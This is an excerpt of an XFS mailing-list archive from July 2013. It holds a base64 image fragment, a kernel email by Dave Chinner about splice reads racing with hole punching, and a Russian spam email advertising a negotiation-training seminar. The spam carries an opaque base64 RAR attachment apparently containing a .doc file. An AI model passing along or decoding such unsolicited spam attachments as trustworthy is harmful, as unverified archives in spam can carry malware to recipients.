size=2430; creation-date="Wed, 17 Jul 2013 03:26:54 GMT"; modification-date="Wed, 17 Jul 2013 03:26:54 GMT" Content-ID: Content-Transfer-Encoding: base64 /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIf IiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7 Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCAAdANADASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD2TPFZ 2u6ouk6ZJcnlhwgPc1oZrzjxlqzX+p/ZI2zFb8HHdq0pwvLU4cbiVQpOXV7C/wDCc6u24iOLAHUL 0rb0TxHeata3MDCNbxF3R4HymjQPD0A8OOl0AZbpSTnt6VyVvPcaBrQLKVe3bay/3l9a6LQle3Q8 j2uJoOE6ktHv5GnJ421mNzHIsSOhwRso/wCE41np5UY/7ZGm+KbKNLmHVrQEwXQDfKOjVNB40EVv HHJpau6qAWIxn9KdoJJ2uZ+1qqpKE6jXmRN461kDBSIf7yEV0PhzxI+sQzpNGomhXJ29DXMav4mX U7NrddPWHJB3+n6Vp+B7VVivLkyKWKkbAeRxSnGLh8JpQr1vrCgp3RUfx1qyuygQjDEAbc0n/Cca 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 --_004_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_-- From david@fromorbit.com Tue Jul 16 23:06:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D38D57F37 for ; Tue, 16 Jul 2013 23:06:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B1CD68F8039 for ; Tue, 16 Jul 2013 21:06:24 -0700 (PDT) X-ASG-Debug-ID: 1374033982-04cb6c2a41dec5a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id V7N0HXty9DapAU6s for ; Tue, 16 Jul 2013 21:06:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjscAPoV5lF5LK4r/2dsb2JhbABagwY0gmysCwKOUYUwBAGBDBd0giMBAQUnExwjEAgDGAklDwUlAyETiA+1WxaOO4EdB4N6A5dbkU6DJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Jul 2013 13:36:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UzJ0K-00069S-VF; Wed, 17 Jul 2013 14:06:16 +1000 Date: Wed, 17 Jul 2013 14:06:16 +1000 From: Dave Chinner To: Linus Torvalds Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130717040616.GI11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374033982 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136989 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 02:02:12PM -0700, Linus Torvalds wrote: > On Tue, Jul 16, 2013 at 1:43 PM, Dave Chinner wrote: > > > > Yes - IO is serialised based on the ip->i_iolock, not i_mutex. We > > don't use i_mutex for many things IO related, and so internal > > locking is needed to serialise against stuff like truncate, hole > > punching, etc, that are run through non-vfs interfaces. > > Umm. But the page IO isn't serialized by i_mutext *either*. You don't > hold it across page faults. In fact you don't even take it at all > across page faults. Right, and that's one of the biggest problems page based IO has - we can't serialise it against other IO and other page cache manipulation functions like hole punching. What happens when a splice read or mmap page fault races with a hole punch? You get stale data being left in the page cache because we can't serialise the page read with the page cache invalidation and underlying extent removal. Indeed, why do you think we've been talking about VFS-level IO range locking for the past year or more, and had a discussion session at LSF/MM this year on it? i.e. this: http://lwn.net/Articles/548939/ So forget about this "we don't need no steenkin' IO serialisation" concept - it's fundamentally broken. FWIW, hole punching in XFS takes the i_iolock in exclusive mode, and hence serialises correctly against splice. IOWs, there is a whole class of splice read data corruption race conditions that XFS is not susceptible to but.... > *Every* other local filesystem uses generic_file_splice_read() with > just a single > > .splice_read = generic_file_splice_read, ... and so they all are broken in a nasty, subtle way.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From andrej-593-@beprepared.com Tue Jul 16 23:48:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 79B6F7F3F for ; Tue, 16 Jul 2013 23:48:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 13D1FAC001 for ; Tue, 16 Jul 2013 21:48:15 -0700 (PDT) X-ASG-Debug-ID: 1374036491-04bdf0245c9f5b0001-NocioJ Received: from mail2.ras.ru (mail2.ras.ru [83.149.192.9]) by cuda.sgi.com with ESMTP id wr9JUApqewWM5ocH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 16 Jul 2013 21:48:13 -0700 (PDT) X-Barracuda-Envelope-From: andrej-593-@beprepared.com X-Barracuda-Apparent-Source-IP: 83.149.192.9 Received: from Unknown (unknown [188.235.205.160]) (Authenticated sender: jukov@ras.ru) by mail2.ras.ru (Postfix) with ESMTPA id DEED38F0DCF; Wed, 17 Jul 2013 08:47:56 +0400 (MSD) Message-ID: <81A93A89290C4CD98F97F802111C5185@hwlgtq> Reply-To: =?windows-1251?B?zvIg8u7i4PDo+eA=?= From: =?windows-1251?B?zvIg8u7i4PDo+eA=?= To: , , , Subject: =?windows-1251?B?0evu5u375SDv5fDl4+7i7vD7Lg==?= Date: Wed, 17 Jul 2013 06:47:54 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0evu5u375SDv5fDl4+7i7vD7Lg==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_072D_01CE82B9.90815A00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail2.ras.ru[83.149.192.9] X-Barracuda-Start-Time: 1374036493 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136991 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_072D_01CE82B9.90815A00 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
     =C2 =D1=CF=E1 =E1=F3=E4=E5=F2 =EF=F0=EE=E2=EE=E4=E8=F2=FC= =F1=FF =EF=EE=EF=F3=EB=FF=F0=ED=FB=E9 =F1=E5=EC=E8=ED=E0=F0:
     
    "=CF=D0=CE=D2=C8=C2=CE=D1=D2=CE=DF=CD=C8=C5 =CC=C0=CD=C8=CF=D3=CB=DF= =D6=C8=DF=CC, =D2=D0=D3=C4=CD=DB=C5 =CF=C5=D0=C5=C3=CE=C2=CE=D0=DB. =D2=F0= =E5=ED=E8=ED=E3."
     
    =D1=E5=EC=E8=ED=E0=F0 =EF=F0=EE=E2=EE=E4=E8=F2=F1=FF =E4=EB=FF =EC=E5= =ED=E5=E4=E6=E5=F0=EE=E2 =EF=EE =EF=F0=EE=E4=E0=E6=E0=EC, =F0=F3=EA=EE=E2= =EE=E4=E8=F2=E5=EB=E5=E9 =EE=F2=E4=E5=EB=EE=E2=20 =EF=F0=EE=E4=E0=E6, =EC=E5=ED=E5=E4=E6=E5=F0=EE=E2 =EF=EE =F0=E0=E1=EE= =F2=E5 =F1 =EA=EB=FE=F7=E5=E2=FB=EC=E8 =EA=EB=E8=E5=ED=F2=E0=EC=E8 =E8&nb= sp;=E4=F0=F3=E3=E8=F5=20 =E8=ED=F2=E5=F0=E5=F1=F3=FE=F9=E8=F5=F1=FF =EB=E8=F6.
     
    26 - 27 =E0=E2=E3=F3=F1=F2=E0 2=CEI3=20 =E3., =E3=EE=F0=EE=E4 =D1.-=CF=E5=F2=E5=F0=E1=F3=F0=E3.
     
    =CF=EE=F1=E5=F2=E8=E2 =F2=F0=E5=ED=E8=ED=E3 =F3=F7=E0=F1=F2=ED=E8= =EA=E8 =F1=EC=EE=E3=F3=F2:
     
    =B7 =D7=E5=F2=EA=EE =EE=EF=F0=E5=E4= =E5=EB=E8=E2=20 =E8=ED=F2=E5=F0=E5=F1=FB =F4=E8=F0=EC=FB, =F4=EE=F0=EC=F3=EB=E8=F0=EE=E2=E0= =F2=FC =F6=E5=EB=E8 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2.
    =B7 =CF=F0=EE=E3=ED=EE=E7=E8=F0=EE=E2=E0=F2=FC =E8 =F0=E0=E1=EE=F2=E0= =F2=FC =F1 =E2=EE=E7=EC=EE=E6=ED=FB=EC=E8 =E2=EE=EF=F0=EE=F1=E0=EC=E8 =E8= =E2=EE=E7=F0=E0=E6=E5=ED=E8=FF=EC=E8.
    =B7=20 =D3=EF=F0=E0=E2=EB=FF=F2=FC =FD=EC=EE=F6=E8=FF=EC=E8 =E8 =E1=FB=F1=F2=F0=EE= =F1=E0=EC=EE=E2=EE=F1=F1=F2=E0=ED=E0=E2=EB=E8=E2=E0=F2=FC=F1=FF.
    =B7 = =CF=F0=E8=EC=E5=ED=FF=F2=FC =EC=E5=F2=EE=E4=FB=20 =EA=EE=F0=F0=E5=EA=F2=ED=EE=E3=EE =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA= =EE=E3=EE =E2=EB=E8=FF=ED=E8=FF =ED=E0 =F5=EE=E4 =EF=E5=F0=E5=E3=EE=E2=EE= =F0=EE=E2.
    =B7 =D0=E0=F1=EF=EE=E7=ED=E0=E2=E0=F2=FC=20 =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =EF=E5=F0= =E5=E3=EE=E2=EE=F0=EE=E2.
    =B7 =C0=EA=F2=E8=E2=ED=EE =E8=F1=EF=EE=EB=FC= =E7=EE=E2=E0=F2=FC =F1=F0=E5=E4=F1=F2=E2=E0=20 =E2=E5=F0=E1=E0=EB=FC=ED=EE=E9 =E8 =ED=E5=E2=E5=F0=E1=E0=EB=FC=ED=EE=E9 =EA= =EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=E8 =E4=EB=FF =F1=EE=E7=E4=E0=ED=E8=FF =E3=E0= =F0=EC=EE=ED=E8=F7=ED=EE=E9 =E0=F2=EC=EE=F1=F4=E5=F0=FB=20 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2.
    =B7 =CF=F0=EE=E2=EE=E4=E8=F2=FC =F2= =F9=E0=F2=E5=EB=FC=ED=F3=FE =EF=EE=E4=E3=EE=F2=EE=E2=EA=F3 =EF=E5=F0=E5=E3= =EE=E2=EE=F0=EE=E2.
     
    =C1=EE=EB=E5=E5 =EF=EE=E4=F0=EE=E1=ED=E0=FF =E8=ED=F4=EE=F0=EC=E0=F6= =E8=FF =E8 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF =EF=EE=20 =F2=E5=EB.: +7 - 8I2 - 98..6 -- 8.2 .. 2--9
    ------=_NextPart_000_072D_01CE82B9.90815A00 Content-Type: application/octet-stream; name="=?windows-1251?B?7+Xw5ePu4u7w+yAyNi0yNy5yYXI=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7+Xw5ePu4u7w+yAyNi0yNy5yYXI=?=" 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 